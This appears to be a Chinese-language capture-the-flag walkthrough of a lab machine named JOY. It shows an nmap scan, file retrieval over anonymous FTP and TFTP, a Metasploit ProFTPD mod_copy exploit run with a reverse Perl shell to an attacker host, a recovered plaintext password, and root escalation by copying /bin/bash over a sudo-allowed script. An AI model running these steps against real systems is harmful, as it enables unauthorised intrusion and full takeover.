信息收集

$ nmap -p- 192.168.101.150 --21,22,25,min-rate 1000 -sC -sV

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxr-x   2 ftp      ftp          4096 Jan  6  2019 download
|_drwxrwxr-x   2 ftp      ftp          4096 Jan 10  2019 upload
22/tcp  open  ssh         Dropbear sshd 0.34 (protocol 2.0)
25/tcp  open  smtp        Postfix smtpd
|_smtp-commands: JOY.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=JOY
| Subject Alternative Name: DNS:JOY
| Not valid before: 2018-12-23T14:29:24
|_Not valid after:  2028-12-20T14:29:24
80/tcp  open  http        Apache httpd 2.4.25
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2016-07-19 20:03  ossec/
|_
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Index of /
110/tcp open  pop3        Dovecot pop3d
| ssl-cert: Subject: commonName=JOY/organizationName=Good Tech Pte. Ltd/stateOrProvinceName=Singapore/countryName=SG
| Not valid before: 2019-01-27T17:23:23
|_Not valid after:  2032-10-05T17:23:23
|_pop3-capabilities: CAPA RESP-CODES SASL PIPELINING AUTH-RESP-CODE UIDL STLS TOP
|_ssl-date: TLS randomness does not represent time
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: more IDLE listed have LOGIN-REFERRALS ENABLE post-login LITERAL+ LOGINDISABLEDA0001 ID capabilities Pre-login IMAP4rev1 OK STARTTLS SASL-IR
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=JOY/organizationName=Good Tech Pte. Ltd/stateOrProvinceName=Singapore/countryName=SG
| Not valid before: 2019-01-27T17:23:23
|_Not valid after:  2032-10-05T17:23:23
445/tcp open  netbios-ssn Samba smbd 4.5.12-Debian (workgroup: WORKGROUP)
465/tcp open  smtp        Postfix smtpd
|_smtp-commands: JOY.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
| ssl-cert: Subject: commonName=JOY
| Subject Alternative Name: DNS:JOY
| Not valid before: 2018-12-23T14:29:24
|_Not valid after:  2028-12-20T14:29:24
|_ssl-date: TLS randomness does not represent time
587/tcp open  smtp        Postfix smtpd
| ssl-cert: Subject: commonName=JOY
| Subject Alternative Name: DNS:JOY
| Not valid before: 2018-12-23T14:29:24
|_Not valid after:  2028-12-20T14:29:24
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: JOY.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
993/tcp open  ssl/imap    Dovecot imapd
| ssl-cert: Subject: commonName=JOY/organizationName=Good Tech Pte. Ltd/stateOrProvinceName=Singapore/countryName=SG
| Not valid before: 2019-01-27T17:23:23
|_Not valid after:  2032-10-05T17:23:23
|_imap-capabilities: IDLE listed more LOGIN-REFERRALS ENABLE post-login LITERAL+ have ID capabilities Pre-login IMAP4rev1 OK AUTH=PLAINA0001 SASL-IR
|_ssl-date: TLS randomness does not represent time
995/tcp open  ssl/pop3    Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: CAPA RESP-CODES SASL(PLAIN) USER AUTH-RESP-CODE UIDL PIPELINING TOP
| ssl-cert: Subject: commonName=JOY/organizationName=Good Tech Pte. Ltd/stateOrProvinceName=Singapore/countryName=SG
| Not valid before: 2019-01-27T17:23:23
|_Not valid after:  2032-10-05T17:23:23
Service Info: Hosts: The,  JOY.localdomain, 127.0.1.1, JOY; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.5.12-Debian)
|   Computer name: joy
|   NetBIOS computer name: JOY\x00
|   Domain name: \x00
|   FQDN: joy
|_  System time: 2024-07-16T13:11:48+08:00
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2024-07-16T05:11:48
|_  start_date: N/A
|_nbstat: NetBIOS name: JOY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: mean: -2h40m00s, deviation: 4h37m07s, median: -1s

ProFTPD 本地权限

$ sudo nmap -Pn -sU -A --top-ports=20 -v 192.168.101.150

snmp泄露有关正在运行的服务的大量信息。

$ ftp 192.168.101.150

ftp> get directory

通过匿名登录下载directory

关于patrick用户directory目录

$ tftp 192.168.101.150 36969

通过tftp下载文件version_control

ProFTPD版本为1.3.5

目录/var/www/tryingharderisjoy

use exploit/unix/ftp/proftpd_modcopy_exec
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 192.168.101.150
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload payload/cmd/unix/reverse_perl
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set LHOST 192.168.101.128
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/tryingharderisjoy
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run

www-data@JOY:/var/www/tryingharderisjoy/ossec$ cat patricksecretsofjoy

patrick:apollo098765

www-data@JOY:/var/www/tryingharderisjoy/ossec$ su patrick

权限提升

patrick@JOY:/tmp$ sudo -l

$ echo '/bin/bash' >test

$ ftp 192.168.101.150

ftp> cd upload
ftp> put test

telnet 192.168.101.150 21
site cpfr /home/ftp/upload/test
site cpto /home/patrick/script/test

patrick@JOY:~$ sudo /home/patrick/script/test

Proof.txt 截屏

Proof.txt 内容

Never grant sudo permissions on scripts that perform system functions!